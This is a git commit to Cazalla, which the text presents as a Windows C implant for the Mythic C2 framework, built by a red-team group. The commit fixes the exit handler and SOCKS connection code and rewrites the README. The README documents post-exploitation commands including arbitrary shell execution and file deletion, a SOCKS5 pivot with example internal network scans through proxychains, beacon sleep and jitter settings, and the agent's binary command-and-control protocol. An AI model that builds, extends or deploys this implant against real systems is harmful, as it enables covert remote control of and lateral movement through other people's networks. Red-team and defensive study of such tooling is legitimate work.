socks funcional 100%
This commit is contained in:
@@ -8,26 +8,45 @@ BOOL cerrarCallback(PAnalizador argumentos){
|
|||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
// Crear paquete de respuesta
|
// Crear paquete de respuesta siguiendo el mismo patrón que otros comandos
|
||||||
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
// Si falla la creación del paquete, cerramos con error
|
// Si falla la creación del paquete, cerramos con error
|
||||||
if (!paquete) {
|
if (!respuesta) {
|
||||||
ExitProcess(1);
|
ExitProcess(1);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Agregar el UUID de la tarea
|
// Agregar el UUID de la tarea
|
||||||
addString(paquete, tareaUuid, FALSE);
|
addString(respuesta, tareaUuid, FALSE);
|
||||||
|
|
||||||
// Indicar que la tarea se completó con éxito
|
// Crear paquete temporal para el mensaje de salida
|
||||||
addByte(paquete, TASK_COMPLETE);
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
addString(salida, "Agent exiting...\n", FALSE);
|
||||||
|
|
||||||
|
// Agregar el mensaje al paquete de respuesta
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
// Enviar el paquete
|
// Enviar el paquete
|
||||||
mandarPaquete(paquete);
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
|
||||||
// Liberar memoria del paquete
|
// Liberar memoria
|
||||||
liberarPaquete(paquete);
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
|
// Dar tiempo suficiente para que Mythic procese la respuesta
|
||||||
|
// Hacemos un pequeño delay y luego forzamos un flush final
|
||||||
|
Sleep(1000);
|
||||||
|
|
||||||
|
// Enviar un GET_TASKING vacío para forzar que Mythic procese todo
|
||||||
|
PPaquete flushPkt = nuevoPaquete(GET_TASKING, TRUE);
|
||||||
|
Analizador* flushResp = mandarPaquete(flushPkt);
|
||||||
|
liberarPaquete(flushPkt);
|
||||||
|
if (flushResp) liberarAnalizador(flushResp);
|
||||||
|
|
||||||
|
// Esperar un poco más antes de cerrar definitivamente
|
||||||
|
Sleep(1000);
|
||||||
|
|
||||||
// Terminar el proceso
|
// Terminar el proceso
|
||||||
ExitProcess(0);
|
ExitProcess(0);
|
||||||
|
|||||||
@@ -383,7 +383,11 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
|
|||||||
memset(&sa,0,sizeof(sa));
|
memset(&sa,0,sizeof(sa));
|
||||||
sa.sin_family = AF_INET;
|
sa.sin_family = AF_INET;
|
||||||
sa.sin_port = htons(port);
|
sa.sin_port = htons(port);
|
||||||
if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) {
|
|
||||||
|
/* Intentar parsear como dirección IP usando inet_addr (compatible con MinGW) */
|
||||||
|
unsigned long addr = inet_addr(dest);
|
||||||
|
if (addr == INADDR_NONE) {
|
||||||
|
/* No es una IP válida, intentar resolver como hostname */
|
||||||
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
|
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
struct hostent *h = gethostbyname(dest);
|
struct hostent *h = gethostbyname(dest);
|
||||||
@@ -396,6 +400,9 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
|
|||||||
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
||||||
printf("[SOCKS_MGR] Hostname resuelto OK\n");
|
printf("[SOCKS_MGR] Hostname resuelto OK\n");
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
|
} else {
|
||||||
|
/* Es una IP válida */
|
||||||
|
sa.sin_addr.s_addr = addr;
|
||||||
}
|
}
|
||||||
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
|
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
|
||||||
@@ -29,10 +30,15 @@ class ExitCommand(CommandBase):
|
|||||||
TaskID=taskData.Task.ID,
|
TaskID=taskData.Task.ID,
|
||||||
Success=True,
|
Success=True,
|
||||||
)
|
)
|
||||||
|
# Marcar inmediatamente como completada ya que el agente se cerrará
|
||||||
|
response.Completed = True
|
||||||
|
response.TaskStatus = MythicStatus.Completed
|
||||||
type = taskData.args.get_arg("type")
|
type = taskData.args.get_arg("type")
|
||||||
response.DisplayParams = type
|
response.DisplayParams = type
|
||||||
return response
|
return response
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
resp.TaskStatus = "completed" # Marcar explícitamente como completada
|
||||||
|
resp.Completed = True
|
||||||
return resp
|
return resp
|
||||||
@@ -1,302 +1,514 @@
|
|||||||
# Cazalla - Basic Mythic Implant in C
|
# Cazalla - Mythic C2 Agent
|
||||||
|
|
||||||
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
|
<div align="center">
|
||||||
|
|
||||||
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|

|
||||||
|
|
||||||
Cazalla is developed by the OFSTeam at Kaseya.
|
**A Windows implant written in C for the Mythic C2 Framework**
|
||||||
|
|
||||||
## Supported Commands
|
[](LICENSE.md)
|
||||||
|
[](https://github.com/its-a-feature/Mythic)
|
||||||
|
[]()
|
||||||
|
|
||||||
Commands are organized by category for better clarity and extensibility.
|
</div>
|
||||||
|
|
||||||
### 📁 File System Commands
|
|
||||||
| Command | Description | Status |
|
|
||||||
|---------|--------------------------|---------|
|
|
||||||
| `cd` | Change working directory | ✅ |
|
|
||||||
| `ls` | List directory contents | ✅ |
|
|
||||||
| `pwd` | Print working directory | ✅ |
|
|
||||||
| `cp` | Copy an existing file | ✅ |
|
|
||||||
| `mkdir` | Create a new directory | ✅ |
|
|
||||||
| `rm` | Delete file/directory | ✅ |
|
|
||||||
|
|
||||||
### 🖥️ Console Commands
|
|
||||||
| Command | Description | Status |
|
|
||||||
|---------|-------------------------------------|--------|
|
|
||||||
| `shell`| Execute arbitrary shell command | ✅ |
|
|
||||||
|
|
||||||
### 🔄 Execution Control
|
|
||||||
| Command | Description | Status |
|
|
||||||
|---------|-------------------|--------|
|
|
||||||
| `exit` | Exit the implant | ✅ |
|
|
||||||
| `sleep`| Modify sleep time | ✅ |
|
|
||||||
|
|
||||||
### 🧠 System Inspection
|
|
||||||
| Command | Description | Status |
|
|
||||||
|---------|-----------------------|--------|
|
|
||||||
| `ps` | List running processes| ✅ |
|
|
||||||
|
|
||||||
> 🔧 To add a new command, see the [Creating New Commands](#creating-new-commands) section below.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Install Cazalla
|
## 📋 Table of Contents
|
||||||
|
|
||||||
Once Mythic is installed and running, use the following command to install Cazalla:
|
- [Overview](#overview)
|
||||||
|
- [Features](#features)
|
||||||
|
- [Installation](#installation)
|
||||||
|
- [Supported Commands](#supported-commands)
|
||||||
|
- [SOCKS Proxy Support](#socks-proxy-support)
|
||||||
|
- [Communication Protocol](#communication-protocol)
|
||||||
|
- [Configuration](#configuration)
|
||||||
|
- [Development](#development)
|
||||||
|
- [Troubleshooting](#troubleshooting)
|
||||||
|
- [Credits](#credits)
|
||||||
|
|
||||||
```sh
|
---
|
||||||
./mythic-cli install github <repository-url>
|
|
||||||
|
## 🎯 Overview
|
||||||
|
|
||||||
|
**Cazalla** is a lightweight Windows implant written in C, designed to work seamlessly with the [Mythic C2 Framework](https://github.com/its-a-feature/Mythic). It provides essential post-exploitation capabilities including file system manipulation, process enumeration, command execution, and SOCKS proxy functionality.
|
||||||
|
|
||||||
|
This project was inspired by the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and has been extended with additional features and improvements.
|
||||||
|
|
||||||
|
**Developed by:** Kaseya OFSTeam
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✨ Features
|
||||||
|
|
||||||
|
- **Lightweight & Portable**: Minimal dependencies, compiled with MinGW for Windows targets
|
||||||
|
- **Full Mythic Integration**: Native support for Mythic's translator pattern and RPC system
|
||||||
|
- **SOCKS Proxy**: Route traffic through the implant with built-in SOCKS5 support
|
||||||
|
- **Dynamic Sleep**: Automatically adjusts beacon interval based on proxy activity
|
||||||
|
- **Custom Binary Protocol**: Efficient binary communication with base64 encoding
|
||||||
|
- **Modular Commands**: Easy to extend with new capabilities
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📦 Installation
|
||||||
|
|
||||||
|
### Prerequisites
|
||||||
|
|
||||||
|
1. **Mythic Server** (v3.x or later) installed and running
|
||||||
|
2. Clone this repository
|
||||||
|
|
||||||
|
### Install Cazalla on Mythic
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd ~/Mythic
|
||||||
|
./mythic-cli install github https://github.com/<your-org>/Cazalla
|
||||||
```
|
```
|
||||||
|
|
||||||
## Communication Protocol
|
Or install from local directory:
|
||||||
|
|
||||||
### HEADER - Implant to C2
|
```bash
|
||||||
|
./mythic-cli install folder /path/to/Cazalla
|
||||||
| Key | Key Len (bytes) | Type |
|
|
||||||
|---------|-------------------|------------|
|
|
||||||
| UUID | 36 | Str (char*)|
|
|
||||||
| Action | 1 | UInt32 |
|
|
||||||
|
|
||||||
### HEADER - C2 to Implant
|
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
|
||||||
|---------|-------------------|------------|
|
|
||||||
| Action | 1 | Int32 |
|
|
||||||
|
|
||||||
UUID | BODY
|
|
||||||
|
|
||||||
#### Checkin - Implant to C2
|
|
||||||
|
|
||||||
Expected:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"action": "checkin",
|
|
||||||
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
|
|
||||||
"ip": "127.0.0.1",
|
|
||||||
"os": "win",
|
|
||||||
"arch": "x64",
|
|
||||||
"hostname": "PC",
|
|
||||||
"user": "bob",
|
|
||||||
"domain": "domain.com",
|
|
||||||
"pid": 123,
|
|
||||||
"processname": "malware.exe"
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
### Build the Agent
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| UUID | 36 | Str (char*) |
|
|
||||||
| Size IP | 4 | Uint32 |
|
|
||||||
| IP | Size IP | Str (char*) |
|
|
||||||
| Size OS | 4 | Uint32 |
|
|
||||||
| OS | Size OS | Str (char*) |
|
|
||||||
| Architecture | 1 | Int |
|
|
||||||
| Size Hostname | 4 | Uint32 |
|
|
||||||
| HostName | Size Hostname | Str (char*) |
|
|
||||||
| Size Username | 4 | Uint32 |
|
|
||||||
| Username | Size Username | Str (char*) |
|
|
||||||
| Size Domain | 4 | Uint32 |
|
|
||||||
| Domain | Size Domain | Str (char*) |
|
|
||||||
| PID | 4 | Uint32 |
|
|
||||||
| Size Process | 4 | Uint32 |
|
|
||||||
| Process Name | Size Process Name | Str (char*) |
|
|
||||||
| Size ExternIP | 4 | Uint32 |
|
|
||||||
| Extern IP | Size Extern IP | Str (char*) |
|
|
||||||
|
|
||||||
### Checkin - C2 to Implant
|
Cazalla can be built directly from the Mythic UI:
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
1. Navigate to **Payloads** → **Create Payload**
|
||||||
|----------|-------------------|-------------|
|
2. Select **Cazalla** as the payload type
|
||||||
| New UUID | 36 | Str (char*) |
|
3. Configure build parameters (C2 profile, sleep interval, etc.)
|
||||||
| Status | 1 | Byte |
|
4. Click **Build**
|
||||||
|
|
||||||
### GetTasking - Implant to C2
|
The agent will be cross-compiled for Windows using MinGW in a Docker container.
|
||||||
|
|
||||||
Expected:
|
---
|
||||||
|
|
||||||
```json
|
## 🛠️ Supported Commands
|
||||||
{
|
|
||||||
"action": "get_tasking",
|
### File System Operations
|
||||||
"tasking_size": 1
|
|
||||||
}
|
| Command | Description | Example |
|
||||||
|
|---------|-------------|---------|
|
||||||
|
| `ls` | List directory contents | `ls C:\Users` |
|
||||||
|
| `cd` | Change working directory | `cd C:\Windows\System32` |
|
||||||
|
| `pwd` | Print current directory | `pwd` |
|
||||||
|
| `cp` | Copy files | `cp source.txt dest.txt` |
|
||||||
|
| `mkdir` | Create directory | `mkdir C:\temp\new_folder` |
|
||||||
|
| `rm` | Delete file or directory | `rm C:\temp\file.txt` |
|
||||||
|
|
||||||
|
### Execution & Control
|
||||||
|
|
||||||
|
| Command | Description | Example |
|
||||||
|
|---------|-------------|---------|
|
||||||
|
| `shell` | Execute shell command | `shell whoami` |
|
||||||
|
| `sleep` | Adjust beacon interval | `sleep {"seconds":30,"jitter":0}` |
|
||||||
|
| `exit` | Terminate the implant | `exit` |
|
||||||
|
|
||||||
|
### System Information
|
||||||
|
|
||||||
|
| Command | Description | Example |
|
||||||
|
|---------|-------------|---------|
|
||||||
|
| `ps` | List running processes | `ps` |
|
||||||
|
|
||||||
|
### Network Operations
|
||||||
|
|
||||||
|
| Command | Description | Example |
|
||||||
|
|---------|-------------|---------|
|
||||||
|
| `socks` | Start/stop SOCKS proxy | `socks {"action":"start","port":7002}` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🌐 SOCKS Proxy Support
|
||||||
|
|
||||||
|
Cazalla includes full SOCKS5 proxy support, allowing you to route traffic through the implant to reach internal network resources.
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
1. **Mythic opens a SOCKS port** on the server (default: `7002`)
|
||||||
|
2. **Client connects** to Mythic's SOCKS port (e.g., via `proxychains`)
|
||||||
|
3. **Mythic forwards** SOCKS traffic to the agent with a unique `server_id` per connection
|
||||||
|
4. **Agent establishes** the actual connection to the target host
|
||||||
|
5. **Bidirectional relay** between client ↔ Mythic ↔ Agent ↔ Target
|
||||||
|
|
||||||
|
### Commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start SOCKS proxy on port 7002
|
||||||
|
socks {"action":"start","port":7002}
|
||||||
|
|
||||||
|
# Stop SOCKS proxy
|
||||||
|
socks {"action":"stop","port":7002}
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
### Using the Proxy
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| Number tasks | 4 | Uint32 |
|
|
||||||
|
|
||||||
### GetTasking - C2 to Implant
|
After starting SOCKS, configure your tools to use the proxy:
|
||||||
|
|
||||||
Expected:
|
#### With proxychains
|
||||||
|
|
||||||
```json
|
```bash
|
||||||
{
|
# Edit /etc/proxychains.conf
|
||||||
"action": "get_tasking",
|
[ProxyList]
|
||||||
"tasks": [
|
socks5 <mythic_server_ip> 7002
|
||||||
{
|
|
||||||
"command": "command name",
|
# Use with any tool
|
||||||
"parameters": "command param string",
|
proxychains curl https://internal-server.local
|
||||||
"timestamp": 1578706611.324671,
|
proxychains nmap -sT 192.168.1.0/24
|
||||||
"id": "task uuid"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
#### With curl
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| NumberOfTasks | 4 | Uint32 |
|
|
||||||
| Size Of Task1 | 4 | Uint32 |
|
|
||||||
| Task1 CMD | 1 | Int |
|
|
||||||
| Task1 UUID | 36 | Str (char*) |
|
|
||||||
| Task1 LenPara1| 4 | Uint32 |
|
|
||||||
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
|
|
||||||
|
|
||||||
### Post Response Header - Implant to C2
|
```bash
|
||||||
|
curl --socks5 <mythic_server_ip>:7002 https://internal-server.local
|
||||||
| Key | Key Len (bytes) | Type |
|
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| Number Resp | 4 | Uint32 |
|
|
||||||
|
|
||||||
### Post Response Header - C2 to Implant
|
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| Number Resp | 4 | Uint32 |
|
|
||||||
|
|
||||||
### Post Response Classic Output Return - Implant to C2
|
|
||||||
|
|
||||||
Expected:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"action": "post_response",
|
|
||||||
"responses": [
|
|
||||||
{
|
|
||||||
"task_id": "uuid of task",
|
|
||||||
... response message
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
#### With Firefox/Browser
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| UUID Resp 1 | 36 | Str (char*) |
|
|
||||||
| Size Output R1| 4 | Uint32 |
|
|
||||||
| Output R1 | Size Output | Bytes |
|
|
||||||
| Status R1 | 1 | Int |
|
|
||||||
|
|
||||||
### Post Response Classic Output Return - C2 to Implant
|
Configure SOCKS proxy in browser settings:
|
||||||
|
- **SOCKS Host**: `<mythic_server_ip>`
|
||||||
|
- **Port**: `7002`
|
||||||
|
- **SOCKS v5**: Enabled
|
||||||
|
|
||||||
Expected:
|
### Mythic Configuration for SOCKS
|
||||||
|
|
||||||
```json
|
To expose SOCKS ports externally (not just localhost), edit `~/Mythic/.env`:
|
||||||
{
|
|
||||||
"action": "post_response",
|
```bash
|
||||||
"responses": [
|
# Allow SOCKS ports to bind on 0.0.0.0 (all interfaces)
|
||||||
{
|
MYTHIC_SERVER_DYNAMIC_PORTS_BIND_LOCALHOST_ONLY="false"
|
||||||
"task_id": UUID,
|
|
||||||
"status": "success" or "error",
|
# Define dynamic port range for SOCKS
|
||||||
"error": "error message if it exists"
|
MYTHIC_SERVER_DYNAMIC_PORTS="7000-7010"
|
||||||
}
|
|
||||||
]
|
# Optional: Use host networking for direct port exposure
|
||||||
}
|
MYTHIC_DOCKER_NETWORKING="host"
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
After editing, restart Mythic:
|
||||||
|---------------|-------------------|-------------|
|
|
||||||
| Status Resp1 | 1 | Int |
|
|
||||||
|
|
||||||
## Creating New Commands
|
```bash
|
||||||
|
cd ~/Mythic
|
||||||
|
sudo ./mythic-cli restart
|
||||||
|
```
|
||||||
|
|
||||||
### 📦 Mythic Side (Python)
|
Verify the port is open:
|
||||||
|
|
||||||
To add a new command in Mythic, create a `.py` file inside the agent's command folder (e.g., `shell.py`). A basic structure includes:
|
```bash
|
||||||
|
sudo netstat -tlnp | grep 7002
|
||||||
|
# Should show: tcp 0.0.0.0:7002 0.0.0.0:* LISTEN
|
||||||
|
```
|
||||||
|
|
||||||
- TaskArguments class
|
### Performance Considerations
|
||||||
- CommandBase class
|
|
||||||
|
|
||||||
Example: `shell.py`
|
- **Latency**: Proxy speed depends on beacon interval. SOCKS mode automatically reduces sleep to 100ms for responsive connections.
|
||||||
|
- **Throughput**: Suitable for interactive sessions and moderate data transfer. Not optimized for large file transfers.
|
||||||
|
- **Concurrent Connections**: Supports multiple simultaneous SOCKS connections with independent `server_id` tracking.
|
||||||
|
|
||||||
|
### Technical Details
|
||||||
|
|
||||||
|
#### Binary Protocol (0xF5 SOCKS Block)
|
||||||
|
|
||||||
|
Agent and translator communicate SOCKS data using a custom binary block:
|
||||||
|
|
||||||
|
```
|
||||||
|
[0xF5] [ext_len:4] [server_id:4] [exit:4] [b64_len:4] [base64_data:N]
|
||||||
|
```
|
||||||
|
|
||||||
|
- `0xF5`: SOCKS block marker
|
||||||
|
- `ext_len`: Total extension length (remaining bytes)
|
||||||
|
- `server_id`: Unique connection ID from Mythic
|
||||||
|
- `exit`: `1` if connection should close, `0` otherwise
|
||||||
|
- `b64_len`: Length of base64-encoded payload
|
||||||
|
- `base64_data`: Base64-encoded raw bytes
|
||||||
|
|
||||||
|
#### Agent Implementation
|
||||||
|
|
||||||
|
- **File**: `socks_manager.c` / `socks_manager.h`
|
||||||
|
- **Commands**: `0x60` (START_SOCKS), `0x61` (STOP_SOCKS)
|
||||||
|
- **Thread Model**: One reader thread per active connection
|
||||||
|
- **Socket Timeout**: 60 seconds for idle connections
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📡 Communication Protocol
|
||||||
|
|
||||||
|
Cazalla uses a custom binary protocol for efficient communication with Mythic.
|
||||||
|
|
||||||
|
### Message Structure
|
||||||
|
|
||||||
|
#### Agent → Mythic
|
||||||
|
|
||||||
|
```
|
||||||
|
[UUID:36] [Action:1] [Body:N]
|
||||||
|
```
|
||||||
|
|
||||||
|
- **UUID**: 36-byte agent identifier (ASCII)
|
||||||
|
- **Action**: 1-byte action code (e.g., `0x80` for GET_TASKING, `0x81` for POST_RESPONSE)
|
||||||
|
- **Body**: Variable-length payload
|
||||||
|
|
||||||
|
#### Mythic → Agent
|
||||||
|
|
||||||
|
```
|
||||||
|
[Action:1] [Body:N]
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Action**: 1-byte action code
|
||||||
|
- **Body**: Variable-length payload (tasks, SOCKS data, etc.)
|
||||||
|
|
||||||
|
### Action Codes
|
||||||
|
|
||||||
|
| Code | Direction | Description |
|
||||||
|
|------|-----------|-------------|
|
||||||
|
| `0x80` | Agent → Mythic | GET_TASKING (request new tasks) |
|
||||||
|
| `0x81` | Agent → Mythic | POST_RESPONSE (send task output) |
|
||||||
|
| `0xF5` | Bidirectional | SOCKS data block |
|
||||||
|
|
||||||
|
### Task Structure
|
||||||
|
|
||||||
|
Tasks sent to the agent include:
|
||||||
|
|
||||||
|
```
|
||||||
|
[TaskUUID:36] [CommandID:1] [Parameters:N]
|
||||||
|
```
|
||||||
|
|
||||||
|
Example command IDs:
|
||||||
|
- `0x01`: Shell command
|
||||||
|
- `0x10`: List directory
|
||||||
|
- `0x60`: Start SOCKS
|
||||||
|
- `0x61`: Stop SOCKS
|
||||||
|
|
||||||
|
### Encoding
|
||||||
|
|
||||||
|
All binary data is base64-encoded for transport over HTTP/HTTPS.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚙️ Configuration
|
||||||
|
|
||||||
|
### Agent Build Parameters
|
||||||
|
|
||||||
|
When building from Mythic UI:
|
||||||
|
|
||||||
|
- **Callback Host**: C2 server address
|
||||||
|
- **Callback Port**: C2 server port (default: 443)
|
||||||
|
- **User Agent**: HTTP User-Agent string
|
||||||
|
- **Sleep**: Initial beacon interval in seconds (default: 10)
|
||||||
|
- **Jitter**: Random delay percentage (0-100)
|
||||||
|
|
||||||
|
### Compile-Time Options
|
||||||
|
|
||||||
|
Edit `Config.h` before building:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#define INITIAL_SLEEP_MS 10000 // Default sleep: 10 seconds
|
||||||
|
#define SOCKS_ACTIVE_SLEEP_MS 100 // Sleep when SOCKS active: 100ms
|
||||||
|
#define SOCKS_TIMEOUT_SEC 60 // Socket read timeout
|
||||||
|
```
|
||||||
|
|
||||||
|
### Debug Mode
|
||||||
|
|
||||||
|
Enable verbose logging by defining `DEBUG_SOCKS` during compilation:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
CFLAGS="-DDEBUG_SOCKS" make
|
||||||
|
```
|
||||||
|
|
||||||
|
This enables:
|
||||||
|
- `[MAINDBG]`: Main loop and sleep adjustments
|
||||||
|
- `[CMDDBG]`: Command parsing
|
||||||
|
- `[SOCKSDBG]`: Connection lifecycle
|
||||||
|
- `[SLEEPDBG]`: Dynamic sleep changes
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔧 Development
|
||||||
|
|
||||||
|
### Project Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
Cazalla/
|
||||||
|
├── agent_code/cazalla/ # C source code
|
||||||
|
│ ├── main.c # Entry point
|
||||||
|
│ ├── cazalla.c/h # Main loop
|
||||||
|
│ ├── comandos.c/h # Command handlers
|
||||||
|
│ ├── paquete.c/h # Packet creation
|
||||||
|
│ ├── transporte.c/h # HTTP transport (WinHTTP)
|
||||||
|
│ ├── socks_manager.c/h # SOCKS proxy logic
|
||||||
|
│ ├── checkin.c/h # Initial check-in
|
||||||
|
│ └── Makefile # Build configuration
|
||||||
|
├── agent_functions/ # Python command definitions
|
||||||
|
│ ├── ls.py, cd.py, pwd.py # File system commands
|
||||||
|
│ ├── shell.py, sleep.py # Execution control
|
||||||
|
│ ├── socks.py # SOCKS proxy command
|
||||||
|
│ └── builder.py # Payload builder
|
||||||
|
├── translator/ # Mythic ↔ Agent translation
|
||||||
|
│ ├── translator.py # Main translator
|
||||||
|
│ ├── commands_from_c2.py # Mythic JSON → Binary
|
||||||
|
│ └── commands_from_implant.py # Binary → Mythic JSON
|
||||||
|
└── browser_scripts/ # Mythic UI enhancements
|
||||||
|
├── ls.js # Directory listing formatter
|
||||||
|
└── ps.js # Process list formatter
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding New Commands
|
||||||
|
|
||||||
|
1. **Define command in Python** (`agent_functions/my_command.py`):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class ShellArguments(TaskArguments):
|
from mythic_container.MythicCommandBase import *
|
||||||
|
|
||||||
|
class MyCommandArguments(TaskArguments):
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
...
|
super().__init__(command_line, **kwargs)
|
||||||
self.args = [
|
self.args = [
|
||||||
CommandParameter(name="command", type=ParameterType.String, ...)
|
CommandParameter(name="arg1", type=ParameterType.String)
|
||||||
]
|
]
|
||||||
|
|
||||||
class ShellCommand(CommandBase):
|
class MyCommandCommand(CommandBase):
|
||||||
cmd = "shell"
|
cmd = "my_command"
|
||||||
...
|
needs_admin = False
|
||||||
async def create_tasking(self, task: MythicTask):
|
help_cmd = "my_command <arg1>"
|
||||||
...
|
description = "Does something useful"
|
||||||
|
version = 1
|
||||||
|
argument_class = MyCommandArguments
|
||||||
|
|
||||||
async def process_response(self, task, response):
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData):
|
||||||
...
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any):
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
```
|
```
|
||||||
### 🧠 C2 Side (Python - `commands_from_c2.py`)
|
|
||||||
|
|
||||||
Update the commands dictionary with a unique hex code and input type:
|
2. **Add to translator** (`translator/commands_from_c2.py`):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
commands = {
|
elif task_command == "my_command":
|
||||||
...
|
task_data.append(0x99) # Command ID
|
||||||
"newcmd": {"hex_code": 0xAB, "input_type": "string"}
|
arg1 = task.get("parameters", {}).get("arg1", "")
|
||||||
|
task_data += len(arg1).to_bytes(4, 'big')
|
||||||
|
task_data += arg1.encode('utf-8')
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **Implement handler in C** (`comandos.c`):
|
||||||
|
|
||||||
|
```c
|
||||||
|
BOOL myCommandHandler(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR taskUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
SIZE_T arg1Size = 0;
|
||||||
|
PCHAR arg1 = getString(argumentos, &arg1Size);
|
||||||
|
|
||||||
|
// Do something with arg1
|
||||||
|
|
||||||
|
// Send response
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, taskUuid, FALSE);
|
||||||
|
PackageAddFormatPrintf(respuesta, "Command executed: %s\n", arg1);
|
||||||
|
|
||||||
|
Analizador* resp = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (resp) liberarAnalizador(resp);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Update `responseTasking` to handle serialization of the new command’s parameters.
|
|
||||||
|
|
||||||
### 💻 Implant Side (C)
|
4. **Register in command dispatcher** (`comandos.c`):
|
||||||
|
|
||||||
Update the following files:
|
|
||||||
|
|
||||||
`comandos.h`
|
|
||||||
```c
|
```c
|
||||||
#define NEWCMD_CMD 0xAB
|
case 0x99: // MY_COMMAND
|
||||||
BOOL ejecutarNuevoCmd(PAnalizador argumentos);
|
myCommandHandler(argumentos);
|
||||||
|
break;
|
||||||
```
|
```
|
||||||
`comandos.c`
|
|
||||||
Add your command logic in `handleGetTasking()`:
|
---
